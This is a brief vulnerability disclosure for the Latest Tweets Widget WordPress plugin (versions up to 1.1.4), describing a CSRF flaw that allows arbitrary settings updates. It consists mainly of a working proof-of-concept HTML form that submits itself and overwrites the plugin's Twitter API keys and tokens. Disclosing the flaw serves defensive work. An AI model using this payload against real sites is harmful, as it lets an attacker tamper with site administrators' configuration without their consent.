Latest Tweets Widget <= 1.1.4 - Arbitrary Settings Update via CSRF

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=twitter-api-admin" method="POST">
    <input type="text" name="saf_twitter[consumer_key]" value="hacked">
    <input type="text" name="saf_twitter[consumer_secret]" value="hacked">
    <input type="text" name="saf_twitter[access_key]" value="">
    <input type="text" name="saf_twitter[access_secret]" value="">
</form>
<script>
    document.getElementById("test").submit();
</script>